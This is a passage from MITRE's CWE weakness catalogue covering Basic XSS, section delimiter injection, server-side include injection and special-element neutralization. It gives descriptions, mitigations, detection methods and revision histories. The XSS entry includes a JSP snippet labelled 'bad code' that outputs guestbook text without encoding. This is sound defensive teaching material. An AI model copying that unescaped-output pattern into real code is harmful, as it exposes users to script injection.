Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Execute Unauthorized Code or Commands

+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

In the following example, a guestbook comment isn't properly encoded, filtered, or otherwise neutralized for script-related tags before being displayed in a client browser.

(bad code)
Example Language: JSP 
<% for (Iterator i = guestbook.iterator(); i.hasNext(); ) {
Entry e = (Entry) i.next(); %>
<p>Entry #<%= e.getId() %></p>
<p><%= e.getText() %></p>
<%
} %>
+ Observed Examples
ReferenceDescription
XSS in parameter in a link.
XSS in web-based email product via attachment filenames.
HTML injection in posted message.
XSS not quoted in error page.
+ Potential Mitigations

Phase: Implementation

Carefully check each input parameter against a rigorous positive specification (allowlist) defining the specific characters and format allowed. All input should be neutralized, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. We often encounter data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended.

Phase: Implementation

Strategy: Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.

Phase: Implementation

With Struts, write all data from form beans with the bean's filter attribute set to true.

Phase: Implementation

Strategy: Attack Surface Reduction

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XMLHTTPRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.

Effectiveness: Defense in Depth

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERBasic XSS
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name
2009-07-17KDM Analytics
Improved the White_Box_Definition
2009-07-27CWE Content TeamMITRE
updated White_Box_Definitions
2010-06-21CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Name, Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Description, Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations, Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Likelihood_of_Exploit, Relationships, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Basic XSS
2009-05-27Failure to Sanitize Script-Related HTML Tags in a Web Page (Basic XSS)
2010-06-21Improper Sanitization of Script-Related HTML Tags in a Web Page (Basic XSS)

CWE-145: Improper Neutralization of Section Delimiters

Weakness ID: 145
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as section delimiters when they are sent to a downstream component.
+ Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

One example of a section delimiter is the boundary string in a multipart MIME message. In many cases, doubled line delimiters can serve as a section delimiter.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.93Improper Neutralization of CRLF Sequences ('CRLF Injection')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Unexpected State

+ Potential Mitigations
Developers should anticipate that section delimiters will be injected/removed/manipulated in the input vectors of their product. Use an appropriate combination of denylists and allowlists to ensure only valid, expected and appropriate input is processed by the system.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Depending on the language and syntax being used, this could be the same as the record delimiter (CWE-143).
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSection Delimiter
Software Fault PatternsSFP24Tainted input to command
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Embedded Delimiters", Page 408. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-04-05CWE Content TeamMITRE
updated Description, Name
2010-06-21CWE Content TeamMITRE
updated Description
2011-03-29CWE Content TeamMITRE
updated Potential_Mitigations
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Potential_Mitigations
2023-01-31CWE Content TeamMITRE
updated Description, Potential_Mitigations
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Section Delimiter
2010-04-05Failure to Sanitize Section Delimiters

CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page

Weakness ID: 97
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product generates a web page, but does not neutralize or incorrectly neutralizes user-controllable input that could be interpreted as a server-side include (SSI) directive.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.96Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1409Comprehensive Categorization: Injection
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This can be resultant from XSS/HTML injection because the same special characters can be involved. However, this is server-side code execution, not client-side.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERServer-Side Includes (SSI) Injection
WASC36SSI Injection
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-10-29CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2010-06-21CWE Content TeamMITRE
updated Description, Name, Type
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Potential_Mitigations
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Server-Side Includes (SSI) Injection
2010-06-21Failure to Sanitize Server-Side Includes (SSI) Within a Web Page

CWE-138: Improper Neutralization of Special Elements

Weakness ID: 138
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control elements or syntactic markers when they are sent to a downstream component.
+ Extended Description
Most languages and protocols have their own special elements such as characters and reserved words. These special elements can carry control implications. If product does not prevent external control or influence over the inclusion of such special elements, the control flow of the program may be altered from what was intended. For example, both Unix and Windows interpret the symbol < ("less than") as meaning "read input from a file".
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.707Improper Neutralization
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.140Improper Neutralization of Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.147Improper Neutralization of Input Terminators
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.148Improper Neutralization of Input Leaders
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.149Improper Neutralization of Quoting Syntax
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.150Improper Neutralization of Escape, Meta, or Control Sequences
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.151Improper Neutralization of Comment Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.152Improper Neutralization of Macro Symbols
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.153Improper Neutralization of Substitution Characters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.154Improper Neutralization of Variable Name Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.155Improper Neutralization of Wildcards or Matching Symbols
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.156Improper Neutralization of Whitespace
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.157Failure to Sanitize Paired Delimiters
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.158Improper Neutralization of Null Byte or NUL Character
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.159Improper Handling of Invalid Use of Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.160Improper Neutralization of Leading Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.162Improper Neutralization of Trailing Special Elements
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.164Improper Neutralization of Internal Special Elements
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.464Addition of Data Structure Sentinel
ParentOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.790Improper Filtering of Special Elements
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1019Validate Inputs
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability
Other

Technical Impact: Execute Unauthorized Code or Commands; Alter Execution Logic; DoS: Crash, Exit, or Restart

+ Observed Examples
ReferenceDescription
Read arbitrary files from mail client by providing a special MIME header that is internally used to store pathnames for attachments.
Setuid program does not cleanse special escape sequence before sending data to a mail program, causing the mail program to process those sequences.
Multi-channel issue. Terminal escape sequences not filtered from log files.
Multi-channel issue. Terminal escape sequences not filtered from log files.
+ Potential Mitigations

Phase: Implementation

Developers should anticipate that special elements (e.g. delimiters, symbols) will be injected into input vectors of their product. One defense is to create an allowlist (e.g. a regular expression) that defines valid input according to the requirements specifications. Strictly filter any input that does not match against the allowlist. Properly encode your output, and quote any elements that have special meaning to the component with which you are communicating.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Use and specify an appropriate output encoding to ensure that the special elements are well-defined. A normal byte sequence in one encoding could be a special element in another.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.

Phase: Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.990SFP Secondary Cluster: Tainted Input to Command
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1347OWASP Top Ten 2021 Category A03:2021 - Injection
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1407Comprehensive Categorization: Improper Neutralization
+ Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Abstraction

Rationale:

This CWE entry is a level-1 Class (i.e., a child of a Pillar). It might have lower-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Relationship

This weakness can be related to interpretation conflicts or interaction errors in intermediaries (such as proxies or application firewalls) when the intermediary's model of an endpoint does not account for protocol-specific special elements.

Relationship

See this entry's children for different types of special elements that have been observed at one point or another. However, it can be difficult to find suitable CVE examples. In an attempt to be complete, CWE includes some types that do not have any associated observed example.

Research Gap

This weakness is probably under-studied for proprietary or custom formats. It is likely that these issues are fairly common in applications that use their own custom format for configuration files, logs, meta-data, messaging, etc. They would only be found by accident or with a focused effort based on an understanding of the format.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERSpecial Elements (Characters or Reserved Words)
PLOVERCustom Special Character Injection
Software Fault PatternsSFP24Tainted input to command
+ Content History
+ Submissions
